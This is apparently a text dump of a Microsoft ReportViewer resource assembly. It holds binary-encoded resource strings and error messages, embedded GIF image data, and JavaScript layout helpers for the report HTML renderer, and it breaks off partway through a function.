Whole PageZoomlSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSetPADPADPC+=G@o1BB>tC9sほ[_yO#UO(W,= xqS->|0dP̼U ےXC‘b4aeyfh*hѤr–:xN}Q	%-/b?8sd`j*l(ASPNetSessionExpired.BadReportDataSourceType3,CantFindConfigFileTypeBDataControl_DataSourceDoesntExistRDataControl_DataSourceIDMustBeDataControl0DataControl_ViewNotFound".FailedToModifyWebConfig6HandlerNotRegisteredDetails'2HandlerNotRegisteredTitle*InvalidDeviceInfoFind56InvalidDeviceInfoLinkTargetO0InvalidDeviceInfoSectionInvalidPageNav.InvalidScriptIdentifier$MissingCredentials@MissingInterfaceOnConfigFileType#6MissingSelectionClientErrorJ&MissingUrlParameterz.MissingValueClientError"NoNamingContainer"PageNumberInvalide,ParamValueTypeMismatchReadOnlyViewer*ScriptManagerNotFound$SearchNextNotFound>SearchNotFounddSessionDisabledSessionOrConfig:TempStorageNeedsSeekReadWrite"ViewStateDisabled1ASP.NET session has expired or could not be foundThe report data source object must be of the type System.Data.DataTable, System.Collections.IEnumerable, or System.Web.UI.IDataSource.!The type '{0}' could not be foundThe DataSourceID of the ReportDataSource '{0}' of the ReportViewer '{1}' must be the ID of a control of type IDataSource.  A control with ID '{2}' could not be found.The DataSourceID of the ReportDataSource '{0}' of the ReportViewer '{1}' must be the ID of a control of type IDataSource.  '{2}' is not an IDataSource.The view that the report viewer control '{0}' requested could not be found. Check that the DataMember property on the report data source '{1}' is valid.hThe Report Viewer failed to modify the web.config file.  Reports may not display correctly.  Reason: {0}The Report Viewer Web Control HTTP Handler has not been registered in the application's web.config file.  Add {0} to the {1} section of the web.config file, or add {2} to the {3} section for Internet Information Services 7 or later.!Report Viewer Configuration ErrorUse ReportViewer.Find().ETo set the LinkTarget, use the ReportViewer.HyperlinkTarget property.Use ReportViewer.CurrentPage.Page navigation is out of rangeInvalid script identifier0One or more data sources is missing a user name.%The type '{0}' does not implement {1}.Please select a value for the parameter '{0}'.Missing URL parameter: {0}MPlease enter a value for the parameter '{0}'.  The parameter cannot be blank.~The {0} control '{1}' does not have a naming container.  Ensure that the control is added to the page before calling DataBind.Enter a valid page number6Parameter value for '{0}' is not the correct data type-Viewer control object is in a read only stateUThe Report Viewer Web Control requires a System.Web.UI.ScriptManager on the web form.$The entire report has been searched.The search text was not found.}Session state has been disabled for ASP.NET.  The Report Viewer control requires that session state be enabled in local mode.In remote mode, the Report Viewer control requires session state be enabled or Report Server connection information specified in the config file.=Temporary streams must support seeking, reading, and writing.cASP.NET ViewState has been disabled.  The Report Viewer control requires that ViewState be enabled.lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP-7zgq>	8oMQv6Tpk|W2#tDropDownTooltip
False NextMonthToolTipNullCheckBox#NullValue)(PreviousMonthToolTip/SelectAll? SelectValidValueMTodayIs_TruemSelect a valueFalse
Next MonthNULLNullPrevious Month(Select All)<Select a Value>Today is {0}TruenGIF89a		3f3333f333ff3fffff3f3f̙3f3333f3333333333f3333333f3f33ff3f3f3f3333f3333333f3̙333333f333ff3ffffff3f33f3ff3f3f3ffff3fffffffffff3fffffff3fff̙ffff3fffff3f̙3333f33̙3ff3ffff̙f3f̙3f̙̙3f̙3f3333f333ff3fffff̙̙3̙f̙̙̙3f̙3f3f3333f333ff3fffff3f3f̙3f,		!HA	bņN;PW
? AS߶|(i5+6m3
)TeT;<GIF89a		3f3333f333ff3fffff3f3f̙3f3333f3333333333f3333333f3f33ff3f3f3f3333f3333333f3̙333333f333ff3ffffff3f33f3ff3f3f3ffff3fffffffffff3fffffff3fff̙ffff3fffff3f̙3333f33̙3ff3ffff̙f3f̙3f̙̙3f̙3f3333f333ff3fffff̙̙3̙f̙̙̙3f̙3f3f3333f333ff3fffff3f3f̙3f,		 H"<paB>t8aÅ3;;JGIF89a+*0A@ILP_*/;&${{{wwwlllkkkeeeaaa^^^[[[ZZZVVVUUURRRPPPOOO!&,g@pH,HS(لN$QhD:ϣ>>FPE**pOJ)~`D"z"Fz\G#]#H$$PGA;JGIF89a+*0A@ILP_*/;&${{{ooonnnmmmhhhddd```]]]!$,g@pH,rL$
2cYK1\W(x"*A@/0@ELEWWE
W
F!!H
	IJEA;eGIF89a+*0A@ILP_*/;&$!,*xpȘc
 hjflhDU #;'GIF89a@ `     @ @@@`@@@@@` `@``````` @` @` @` @`@ @@@`@@@@@ @  @@ @` @ @ @ @ @@@ @@@@@`@@@@@@@@@@`@ `@@`@``@`@`@`@`@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@ @`   @ `     @ @@@`@@@@@` `@``````` @` @`ࠀ @` @` @`   @ `     @ @@@`@@@@@` `@``````` @` @` @`:n!,;GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,5mD{F}:sKg$Jm#K'V+_"F/eКk=w B"FAy*^>w`,`_1jصh3lۑ*]%P!A/g7p A"F%Q@x%PZY&Q(V(Xe<tSPzꍲ"G[i-c͍Cz芰r8q+gj64	+%B35=)>;7$'<:!
 -0?19."/@2
*A(,8#&;GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,"Fh_F|*^E{$M9r㌰e(XS}#K2k&Q$MzAx`.dmK$L/ggmX%N'W'V!A)Zk/fMꍲ+]k%Q9r/ePre"G5m#K+_%PX3lۨ<tD{F}$L:sj
 "+@(>*2:60B'?,.;#C8=)<3-
	1$!A4/%795&;GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,#KF|K)ZXm$L/f}eE{.d9rX9rk%N$Mk$LAx'W$M%QM2k+]:@pH,H#iT|DHjFPXDpNu`T wA;GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,"FAyF}[kCzZ8q"F>w-c=w%P5m B7p+g@xY(ViD{*]1j A%QK$J,`;@pH,H##YPCA,3l<L@a@hBFQ怅EA;GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,ܱkkk~~~wwwpppfffǮvvv՟eeeúϥxxxmmmjjjb@pH,!vGQC)Z2L)rXbCP10 XEJ$:A
E*.D
-E 'D
0E	FE/FHA;GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,uuu֝wwwvvvʐȊzzzqqq˵yyyxxxoooԅ{{{kkk|||b@pH,Fͱ83"*Jb*Qa[5TuIB(C	$C!43E%,

D&)2ED1E.F(EF0HA;8GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,צsss~~~ûrrrwwwƓqqqӫɌuuu4  di($dUXG@ClXA0e$̚Ѭ15$zC;;GIF89a;Oi);S?Ut.@X"4H;Qn;Oj8Kd*<QC[|+<RC]}1F_+>D_:Nh/B[GbHe!1GD_#3JE_;OlC]!Built with GIF Movie Gear 3.0!,۞gggtttǜmmmbbbʟzzzaaasss7  di%"400\[1e,"	\`@aG
`pR;+GIF89a2+S,T,U-V-V-W.W0Z2]4`5b6d7e9h9j:k<l=n=o=p>p>p?r?sAvG}KNRTW[adhjmqsvz|}+g+g+g+g+g+g+g+g+g+g+g+g+g+g!?,HpH,Ȥ,Z(͡P^*GKHNb/$B !ՉpF4y6$C@t4QQ??MA;+GIF89a1qqqqrrrrrssstttuuuuvuyyy|{{}}}͙!?,HpH,Ȥ2,Z&͡Pb.HjHV\
5B #dm*:dHx8QQ??MA;,GIF89a3(N)Q*R+S,T,U-U-V/X/Y0[1\3_4b5b7e8h9h;k<n=o=o=p?p?q?rPUY\`cehjmoqvx{+g+g+g+g+g+g+g+g+g+g+g+g+g!?,IpH,ȤY1"8-1` +
U
-Ku":d$e}8B!$J
R??HA;,GIF89a2llmpppqqqssrttsuttuuuvvvxwxyyy|{{|||ϙ!?,IpH,ȤY-8+/` +4,:8d"<B$J
R??HA;GIF89a4/30D?numnstvyԅ׈׊ؒڕږېᕷ䖸䗹瘹䟼❾⤲궥!,	bR\E;
69rd#:,@BF@iD
!r@30 A   УT,À?@CƂ<z` УG`{Hpċh1%D!`ȝ@0@0@qa_bX|b<NA8$,|PF>`!
ZР1U0P
;GIF89adddggg|||!,	HbH\o1jԈ2Ըqc.*D(6@iC	hHT9@5d'b
4 Q
%aJB264!ׯ2`0ٳ6Hဂ&wo_KĿ'V(IS1
'B%B=<pD TpÅ% H€;cGIF89a!,4̀qޠ	y~g]&#-u…nݮRa(;GIF89a::;JJLLMOLNOSTTSTUaajbblddnkkllmnqqrzz{YmaqcwMztqzd!,	ƀI	x	(0ɒTD%X(F)NÆ(@xĐ@^H$
%HfYti#F4*hrTJÆY>n-A۷pIh0*E]2q"x8+BD `$`а3;GIF89a:::JJJLLLMMMSSSbbbccceeeiiikkklllnnnqqqssswwwzzz!,	n	nу(0ǎ:D̠&qDb^iB*D00Ϟr@A1*M

``	XQ@pS@AV^1\h J
zx#Ap@J`=^801;`GIF89a᳴?==!5,}g*JR<tJb<}ľ0͘39{ibt;^Z,}4r$$)$r%'r&&(]Y(d"//0!.# 2A;u GIF89a  Ɯju{(hwÔ܃ɣ/ekCKފ۴q|Գzssrթ䤃{Q\ۣKS\bccĴml3D2Fӕ)<˽T[\\ѣ䓢{㼳=Fܭjk~ǂ:KZkCRٛӋSbۑ­㪚՛Գպ*:ͨݽ<K-A҂ޅİ޲{|K\ԡtlQbqts$:}{͂[e]jpnᢂ}ޕ~Ĺݽsڻ0>bnѫ#5ԤecCON\=PIUϲ4Ax 5vљ~ÆifX^̎@S9Fnp%9Ҫ薎ۈȉy}uqtzLS`_SS{ڨU_}tZZNX@Nօ˨խ7I.@浘XfPW(>xuŎޜDWghr_`FX7FVhGV״vwggvВ 1o|ި6@wofHQ׿אЈ_oIOXWx!NETSCAPE2.0!Built with GIF Movie Gear 4.0!	,  	HAr!mnJe?hԦƏ0j(&a?à&
LtM)
XULt:x %b3%FZ̘As.
MB!@$azAjepdbB fRm֬LsC;5@	[`("`d2ymndp-bZ`&M5Q7095s_&dqFyy6N hya9	j
9X&^zQW%lMT+``= Cp,-/$TEz##PYd"@"00PGsS\A7(`:Aqh	l R0OЀNAR%aA!I(1:I$`%|aP#(̙A%0GN10<#W4R2Р]CFB1N24(Cq
dTSCD*'dp(Pfr)MdJC%Wk)_ZGQ$j5u|1I7PuԑI&z!	,  	H`Rm$(03f*H7Ÿ5hpB@ 3Ta~<CR`6
"LÎh+'!h!j'8zXB
5/JHY K=ιyAŌQD9p,,hB+BA73"T谪RvJSUPq!
PÜQCȄf2d!	@L@VDDpkfЯB)B%ך#F0aZ!*ז""
C
]c@_>V=P]@'	GEp/B|[x
82 P$@:P&d@$~шq<FYP1|%DA A0Sl鬷B(C:18<cI`#~p!4Р<DX`6%@A
 	))(TH):(C)_'W#K$<uTs
@W,	4BA:!
d4(#l7Z	4,73*IM|QM5I5J)
$@74;	o+/A!	,  	H`3C`$8Pވ(T̃
Q4X(<.Bsh&&m)[Ҳl^+3Hcb(ёEpBŁ{YP۶8,!YIձ!! SчT30a-b^*z1"H9ML].&(F
C9$g
2PcEP(umH)/
5j,K׳
32CC@GA1H2ʧath=`
D 
eSY*3@8Pd@d8 1"$'jQ!
	%I)
D0˄0Gs:U `
Au P
l.pP,B.qdHHP:\0@5H!%L(KNMpP"
9I&AVB-m8 1|3	d82EP(;"lRDy$
PLH$Tg>E	$*p@.P4q
d.:7a
%>Od0*NJ@$:8!	,  	HزLaX$(MTKԬSh		Ҵkah&5@,QTMdռB8Q$J<Cʥ[N[0ahBazAX
{.Z`2(P 1BG$ydF	I&D)|}FD}z`bP2ƒ,$sH*¶ʤ8Klu:ٔ
Gc86.ȑfII.WyXu)5цDdu\9H1V	
TJ"Րq36!7S	}*DsSL؁ч4x*}N7q\f@MTG"*S !
:8&$90T232u@&H	LC6h1q
HQSA!T@/%pH8#ưE,#5,C3	)
1"0P	ZE',|:@7<0
<	>F.y
(Ɔ#^ӈB(qG/#4Às>+ 

aZ[P@!	,  	H*b`N$(]P(YwBB6UhcYi4dEeh>B{(@QbN'SYG޴}8L4ir
(,5
	:^"aDˉ%Uq^!!!/1^J(0%   
`ejAC !CY6kX@d"*<,(dƌL>2<`&!jH{ M>8	pyT] !&L:J1*
x#SA4LRAM785}*AD 1謁ytT(<PзJtOxH:Gx@	:XftqH1gtC3)/h
%Xb$EI"I
@'YLw0De9_p
Xa5,@9&N@ đ;EĠEXh L!|(T-bN:\15BDK(`¬2C,0J.&53LyN8K#(Bk
Dp,x!	,  	Hv$6%(0sn4@v0h\D$PF8F
vYRb@7ejRcLIQAj7n$"/DD>YK#*U
K#($HI.>L'!IxMd<\Md5z)`g24u!yDŽ:p2dpBT7tdd_&,qy:RV[[2i5gG̰@s%LfβX	<$tD{e7NRc;v"/"@8280""aF!4Eb
1f @ϼDȧB} C3}a_(PCҠvAaz(TqBM( CP	(\iKd)	]"
$AhbBAH0N9AMFaTx	t*BaB.yxc$UBD0Gq	-
!b126/
gAv5AQP7|P@2!,
3B
j:=b.(xp6')pbB+!	,  	Hv$MKJo$j<)|L4(ZIeS94x6R
LkR
&Vb27] #9ј	$g*
yJ
Oy15`ֹK3Sd ɒ;PtWX`O=D:gIOAt($YWB‰O5ȋNHC
L^D@YW30P,b\`T<jF]lt>0%T	+Ɠn8/y8 AnO@4$o`2(#
I.
Xh0@iD8y`021@8䓏:@^,7M"CQ@' U5@#Q-BZܘh@AEZh)d
PӃ4LBK!p§EB҄0DBg+bfBZL #D!hЏ0A316K`3xjhM1GGB娡	QL9t@Ͷ{g43!	,  	HVfRr*%(P9}%J 1RP4F"64PKd42":2Q*7	( Q:
(Ѹqc *Ĝ a"PHZH(	$]YK	0R	ؙAZ2
";(Lp;Mw—OVF"b'IٱL: ᄏKj˘q

´}d1Wh˫8KGIO(ʒ-&Ć]n;A.5i/HD	P"\-T׉Á+H(P+H<sD>8*aBmw7%
g7Ah 1,@lMG,0fHh
$D	.B MLB
܃\s.F+hqJ69~zD
\ar)`P1`/AZ!2= c"!5P&hM9Gx@H!}&g;CRLp‰I{F50A„4[P@!	,  	H*LR%(PvD4h(Q)xp(hEXDC$j6$HPt,4A"
PDd_i'|}Bɝ)SU
}_	Z;
t"Ȁ(25qC<s@%(h1`*dvpyf)3ʦ` P4iIEr& %ld`
V`kd*cs ʎ݀30̐@Z
S\`#t<J@,jR}\
<uK p(/ʕ+h1oA?x
 0S'H;<11.0SÀP,)(pN0[c<#*xBP`Ey	T!cDrdEj0C۸Q\(!/Ahtx@IvtR>>H`	6x	fApD@FIgQL"D\@h:@f#8P3McFB
!JxA>KPB4(L/O28G!{
3 B#@
55J
3@=[/!	,  	Hfi]P2$(D*8VHd((h̺[yL86MB="
4pĈ@-lg$
@(P2	'lR}20P@yɫN,rGcJop A,P
lUaИq:H Nh	MD,$ &*Dl^6.$yX)SLV`6ylSਁ0bY!^i2UBwҥ;4
)ϨQe…[|M/a}1@ h3C@pI9jpL5	.D1"ȡ
G1GAd<^X3arNHW$LD! f8xA
Hx OA۰2%
=<DE@(
"D
5YL6mX#YWC
C,!F1S\e6D<&B c3&\N/kU4p#@rJ 2*&G-',b
=,52
qU=2!	(+-"@s`1MƼ!	,  	H2OT%(!BC4:NthI7B`%c]m H8Ä5<X2	%HPt33
o8DWT$v_6+3b\Ԓ'A'( ̓Ddai|!H^`Уƃi^A!+bFiHBi<E
 lbɝ2G&Fr6ap4$);P7)zt"xA<zSHtLz@$r@b+BHCdP+0qLT#PC#HqЇ4 GjuH\R!Fv|83'f p`"$/"18&r8IFP+ohZhD4A2TȰ	#$LqI	B0E e@88D.m<^.rMBfr
(2M;l
D8ʐD&F.r(2$a?k,4 HzUpP2)!%%p0|8	r!#oA!	,  	HRA!$(ٙ3"0+͂!Xh5<bF!!ATdE$4BiY&H&()S:QzACl ¢ʒ+vE#=`<B˜{nPc6(vÌtQEvKvNj:H11R`CF"lI.V;;t2Ċ*LS"A]T0$nң@C;hY`Ȇum( .@3 `|5#c"<p?x2o/;6p@1HdSЀM@ZD4`	ȑ$ś=]#20q8BC8tC -Md[#:dI
(K&8Q#	dI"GUVIRtK
YDH	mh&pz<n++2B)Z#	<|H
1*ED$0
0)ං%)04p<t՜r+3@
$1sE[P@;eGIF89a<><|~|ԯwuCyl`u0x``lWiH`E>3iu@>~`~Di`^wɱiiu&n)cdwundl f5w- wx`:iԠ`i16ww04`5VͯwwؘC@ywl``iipdw	DA>wHDV`w[Fwh[`H8`wHp`LwXPo|lwpO|u؄wDWOw`_Ohu|ww%@uluqdllEHw!,BH
 
<qbE!"0!GAZ<15.ɒ@#Wfl)Qfʙ3;bGIF89a<><|~|ԯwu:Cyt`u0x:``tWiH`e%3iu@~`~Di`^wɁi"u&n)cdwu:ndt f5w- wx`:iԠ`i16ww04`5VͯwwؘC@ywl``iipdw	DAwHDV`w^Fwh^`H8`wHp`LwP!wlwpOwu؄wDWOw`bOhuwww@ulu:qdtlEHw!,?H <@B>(qˆJ#Dž+QdB(
LYpeS)À;4GIF89a!,	H "4X`@;4GIF89addd!,	H`"4X`@;GIF89a$22!8o5AJBM[K`9=;B E=KMNILIPT][\CGCLJM@QLPUSWYZXZX__ZXVWZYQr^{`^abggepmuJUP^^f\dchhgepw{rqvtvu}|5A?K;RCXALAN@LCOOZJVJWO[OhO[P\U_Sa_i[jbq`pn|]Ydjv`yl}{чكݐٞ݌䎊䗘옗⟞䟞ꖔ㥤饤묫ﭬ꣢ᱰŠܙϞԝťòե㒅哎⚛⤺ӽ!,ЙcΙ2\HqwD"FNEM2=ApA#5i*^Dɉ͈!Cqe$HH`KK$=ZĨ
(҂D%GL@:n8YdF
h&@"=_2"@G`,dL({SǎoRX`<"4HP56
bC!@jm(4VF#p<;GIF89a---777>>>EEEFFFIIIKKKQQQSSSTTTVVVWWWXXXZZZ\\\]]]^^^___aaabbbdddeeefffggghhhiiinnnooopppqqqrrrsssvvvxxxyyyzzz{{{|||~~~!,PR	$D|PVdqCbdJE7l8a#M*99Bq%2$$tH5ïŃyl&
4@
)Mr`ć
hDl@ A#aA"1UPA'~	T4IO@PPaC	$\bJ51>ݥCV!NJ<;oGIF89a{{{!,LH*\ȰÇ0"EhH@7RDŽ TI`dŒ%O"Y%B!e3ϟ@;rGIF89a{{{!,OH*\ȰÇ0"EhH@l1F	AXɄ5Ԉ!H#Krϊ
0 ;EGIF89a@ `     @ @@@`@@@@@` `@``````` @` @` @` @`@ @@@`@@@@@ @  @@ @` @ @ @ @ @@@ @@@@@`@@@@@@@@@@`@ `@@`@``@`@`@`@`@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@@ @@@`@@@@@ @`   @ `     @ @@@`@@@@@` `@``````` @` @`ࠀ @` @` @`   @ `     @ @@@`@@@@@` `@``````` @` @` @`𠠤!,@"	H*\ȰÇ#JHŋ3j(0 ;GIF89a}:r7i7h6f:l?t?oEyDsK~JwRP|ZWa]eikxpyrw胫x}~悤郤臨ꋪqԺpďѕԝנŤɢǧ̮5Ic8Keoyz{t|~΃Äďɡٟףړ˜9Mf} % XYX;
@`/[z-4¾pppccc!,Y
6pq?qhP@
0h>&C(H&TH1`A&L&Dx`G"TNXDT)_:a!%
2E`re
)wԡs#U
pbG9<r<!VuXC4j߾3'OH"%Wv踒DR8aI)JvI/@|R˖CD	B	'ȡ _y@;|GIF89ayyyrrrpppgggccc\\\XXXOOONNNLLL"""!Y,ـYXXXXXX65FEMPRT"$')-037<>AEGHIK"

##$%%*J",/26:=?BEFL#11W$<<U&(9D1<< /BN1:W(/4p%8<	1p 

WVɓ(S]iAn	b4xC+. P <41$4xp!"jYʌ+H ]i ;@GIF89a!,4@jκ}G&R;?GIF89a!,<@j
_HN;function Microsoft_ReportingServices_HTMLRenderer_GrowTablixTextBoxes(topElementId)
{
    var topElement = document;
    if (topElementId)
    {
        topElement = document.getElementById(topElementId);
        if(!topElement)
          topElement = document;
    }
    var tags = topElement.getElementsByTagName("div");
    for (var i = 0; i < tags.length; i++)
    {
        if (tags[i].getAttribute("nogrow"))
        {
            var tag = tags[i];
            var parent = tag.parentNode;
            var targetHeight = parent.offsetHeight;
            if (tag.offsetHeight != targetHeight)
            {
                //Update Height
                var divTargetHeight = targetHeight;
                if (tag.scrollHeight < targetHeight)
                {
                    divTargetHeight = tag.scrollHeight;
                }

                tag.style.height = divTargetHeight + "px";
                //Borders or paddings can affect the sizing.  Make sure the child doesn't alter the size of the parent.
                diff = parent.offsetHeight - targetHeight;
                if (diff > 0)
                    tag.style.height = (divTargetHeight - diff) + "px";

                //Which one first?  Width or height?
                var targetWidth = parent.offsetWidth;
                var divTargetWidth = targetWidth;
                var useScrollWidth = false;
                if (tag.scrollWidth > targetWidth)
                {
                    divTargetWidth = tag.scrollWidth;
                    useScrollWidth = true;
                }
                    
                tag.style.width = divTargetWidth + "px";
                //Borders or paddings can affect the sizing.  Make sure the child doesn't alter the size of the parent.
                var diff = parent.offsetWidth - targetWidth;
                if (diff > 0 && !useScrollWidth)
                {
                    //Allow the width to grow if the scrollwidth is wider than the current width.  Particularly important for Sorts.
                    tag.style.width = (targetWidth - diff) + "px";
                }
            }
            //Do this calculation once
            tag.removeAttribute("nogrow");
        }
    }
}>function Microsoft_ReportingServices_HTMLRenderer_CalculateZoom(reportCellId)
{
    //Calculates zoom based on reportCellId zoom.  By default, it's 1 (or 100%)
    var zoom = 1;
    if (reportCellId)
    {
        var reportCell = document.getElementById(reportCellId);
        if (reportCell)
        {
            var zt = reportCell.style.zoom;
            if (zt && zt.substring(zt.length - 1) == '%')
            {
                zoom = zt.substring(0, zt.length - 1) / 100;
            }
            else
            {
                zoom = zt;
            }
            if (!zoom || zoom == 0) zoom = 1;
        }
    }
    return zoom;
}

function Microsoft_ReportingServices_HTMLRenderer_CalculateOffset(topElement, targetElement)
{
    //Calculates the top and left offset based on the topElement and targetElement
    var measureElement = targetElement;
    var divTop = 0;
    var divLeft = 0;
    while (measureElement && (!topElement || measureElement.id != topElement.id))
    {
        divTop += measureElement.offsetTop;
        divLeft += measureElement.offsetLeft;
        var offsetParent = measureElement.offsetParent;
        while (measureElement != offsetParent && (!topElement || measureElement.id != topElement.id))
        {
            measureElement = measureElement.parentNode;
        }
    }

    return { top: divTop, left: divLeft };
}

function Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode()
{
    return document.compatMode && document.compatMode != "BackCompat";
}

function Microsoft_ReportingServices_HTMLRenderer_IsIE()
{
    if (document.all)
        return true;
    return false;
}

function Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater()
{
    if (Microsoft_ReportingServices_HTMLRenderer_IsIE() && document.documentMode && document.documentMode >= 8)
        return true;
    return false;
}

function Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(size)
{
    var sizeString = size.toString();
    // Get the numeric value of the size measurement.
    // First set sizeValue to the sizeString. (assuming no units or length of size
    // < 2).

    var sizeValue = parseFloat(sizeString);

    if (isNaN(sizeValue))
    {
        sizeValue = 0;
    }

    // Now try to parse out the sizeValue and the sizeUnit
    if ((sizeString.length >= 2) && (sizeValue > 0))
    {
        sizeValue = parseFloat(sizeString.substring(0, sizeString.length - 2));
        // Get the unit type of the size measurement.
        var sizeUnit = sizeString.substring(sizeString.length - 2, sizeString.length);

        var dpi = Microsoft_ReportingServices_HTMLRenderer_PxPerInch();

        switch (sizeUnit)
        {
            case "mm":
                sizeValue = sizeValue * dpi / 25.4;
                break;
            case "pt":
                sizeValue = sizeValue * dpi / 72;
                break;
            case "in":
                sizeValue = sizeValue * dpi;
                break;
            case "cm":
                sizeValue = sizeValue * dpi / 2.54;
                break;
            case "px":
                sizeValue = sizeValue;
                break;
            default:
                // No units specified, just use the sizeString.
                sizeValue = parseFloat(sizeString);
                break;
        }
    }
    return sizeValue;
}

function Microsoft_ReportingServices_HTMLRenderer_PxPerInch()
{
    var div = document.createElement("div");
    div.id = "fakeDPIDiv";
    div.style.cssText = "width:72pt; height:0pt; display:hidden; position:absolute; z-index:-1; font-size: 0pt; top:0px; left:0px";
    document.body.appendChild(div);
    var width = div.style.pixelWidth;
    if (!width)
    {
        width = div.offsetWidth;
    }
    document.body.removeChild(div);
    dpi = width;
    return dpi;
}

function Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, styleProp)
{
    var retVal = null;

    if (element.currentStyle)
    {
        retVal = element.currentStyle[styleProp];
    }
    else
    {
        var computedStyle = window.getComputedStyle(element, null);
        retVal = computedStyle[styleProp];
    }

    return retVal;
}

function Microsoft_ReportingServices_HTMLRenderer_GetFirstChildElementNode(element)
{
    var firstChildNode = null;
    var childElements = element.childNodes;
    for (var i = 0; i < childElements.length; i++)
    {
        var child = childElements[i];
        if (child.nodeType == 1)
        {
            // nodeType = 1 denotes an element node.
            firstChildNode = child;
            break;
        }
    }
    return firstChildNode;
}

function Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalBorders(element, width)
{
    var borderLeftWidth = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "borderLeftWidth");

    if (borderLeftWidth)
    {
        width = width - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(borderLeftWidth);
    }

    var borderRightWidth = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "borderRightWidth");

    if (borderRightWidth)
    {
        width = width - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(borderRightWidth);
    }

    return width;
}

function Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalPaddings(element, width)
{
    var paddingLeft = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "paddingLeft");

    if (paddingLeft)
    {
        width = width - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(paddingLeft);
    }

    var paddingRight = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "paddingRight");

    if (paddingRight)
    {
        width = width - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(paddingRight);
    }

    return width;
}

function Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalBordersPaddings(element)
{
    // This function should currently only be called in FitProportional.js when the following below
    // condition is true: Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode() && Microsoft_ReportingServices_HTMLRenderer_IsIE()
    var width = Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(element.currentStyle.width);

    width = Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalBorders(element, width);

    width = Microsoft_ReportingServices_HTMLRenderer_SubtractHorizontalPaddings(element, width);

    if (width <= 0)
    {
        // Don't allow a negative sizing to be returned.
        width = 1;
    }

    return width.toString() + "px";
}

function Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalBorders(element, height)
{
    var borderTopWidth = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "borderTopWidth");

    if (borderTopWidth)
    {
        height = height - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(borderTopWidth);
    }

    var borderBottomWidth = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "borderBottomWidth");

    if (borderBottomWidth)
    {
        height = height - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(borderBottomWidth);
    }

    return height;
}

function Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalPaddings(element, height)
{
    var paddingTop = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "paddingTop");

    if (paddingTop)
    {
        height = height - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(paddingTop);
    }

    var paddingBottom = Microsoft_ReportingServices_HTMLRenderer_GetStyle(element, "paddingBottom");

    if (paddingBottom)
    {
        height = height - Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(paddingBottom);
    }

    return height;
}

function Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalBordersPaddings(element)
{
    // This function should currently only be called in FitProportional.js when the following below
    // condition is true: Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode() && Microsoft_ReportingServices_HTMLRenderer_IsIE()
    var height = Microsoft_ReportingServices_HTMLRenderer_ConvertToPx(element.currentStyle.height);

    height = Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalBorders(element, height);

    height = Microsoft_ReportingServices_HTMLRenderer_SubtractVerticalPaddings(element, height);

    if (height <= 0)
    {
        // Don't allow a negative sizing to be returned.
        height = 1;
    }

    return height.toString() + "px";
}

function Microsoft_ReportingServices_HTMLRenderer_GetMaxChildRowSpan(row)
{
    var maxRowSpan = 1;
    var i = 0;

    // Bug only occurs (setting heights of <tr> elements in IE8 standards mode).
    if (Microsoft_ReportingServices_HTMLRenderer_IsIE8OrLater() &&
        Microsoft_ReportingServices_HTMLRenderer_IsStandardsMode())
    {
        // This function should only apply its logic when row is a <TR> element.
        if (row.nodeName == "TR")
        {
            if (row.childNodes)
            {
                for (i = 0; i < row.childNodes.length; i++)
                {
                    var rowChildNode = row.childNodes[i];
                    var rowSpan = rowChildNode.getAttribute("rowSpan");
                    if (rowSpan)
